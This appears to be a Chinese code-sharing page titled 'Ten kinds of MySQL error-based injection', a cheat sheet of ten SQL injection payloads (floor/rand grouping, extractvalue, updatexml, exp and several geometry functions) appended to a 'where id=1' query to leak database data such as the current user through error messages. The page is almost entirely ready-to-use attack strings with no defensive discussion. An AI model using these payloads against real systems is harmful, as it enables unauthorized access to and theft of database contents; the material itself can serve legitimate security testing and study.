首页 > 代码库 > 十种MySQL报错注入

十种MySQL报错注入


1.floor()


select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);


技术分享


2.extractvalue()


select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));


技术分享


3.updatexml()


select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));


技术分享


4.geometrycollection()


select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));


技术分享


5.multipoint()


select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));


技术分享


6.polygon()


select * from test where id=1 and polygon((select * from(select * from(select user())a)b));


技术分享


7.multipolygon()


select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));


技术分享


8.linestring()


select * from test where id=1 and linestring((select * from(select * from(select user())a)b));


技术分享


9.multilinestring()


select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));


技术分享


10.exp()


select * from test where id=1 and exp(~(select * from(select user())a));


技术分享

 

 

十种MySQL报错注入